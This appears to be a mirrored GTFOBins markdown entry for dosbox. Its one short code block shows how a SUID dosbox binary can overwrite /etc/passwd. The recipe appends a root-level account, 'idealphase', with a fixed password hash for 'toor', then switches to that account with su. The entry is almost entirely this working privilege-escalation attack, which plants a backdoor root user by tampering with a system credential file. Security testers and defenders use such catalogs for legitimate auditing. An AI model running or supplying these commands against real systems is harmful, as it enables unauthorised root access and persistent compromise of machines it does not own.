1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/dosbox.md

11 lines
326 B
Markdown
Raw Normal View History

2021-08-31 18:54:48 +02:00
---
functions:
SUID:
- description: Please change username to whatever you want and passwod is `toor`.
code: |
cp /etc/passwd /tmp/passwd
echo "idealphase:sXuCKi7k3Xh/s:0:0::/root:/bin/bash" >> /tmp/passwd
/usr/bin/dosbox -c "mount c /etc/" -c "mount d /tmp/" -c "d:" -c "copy passwd c:"
su idealphase
---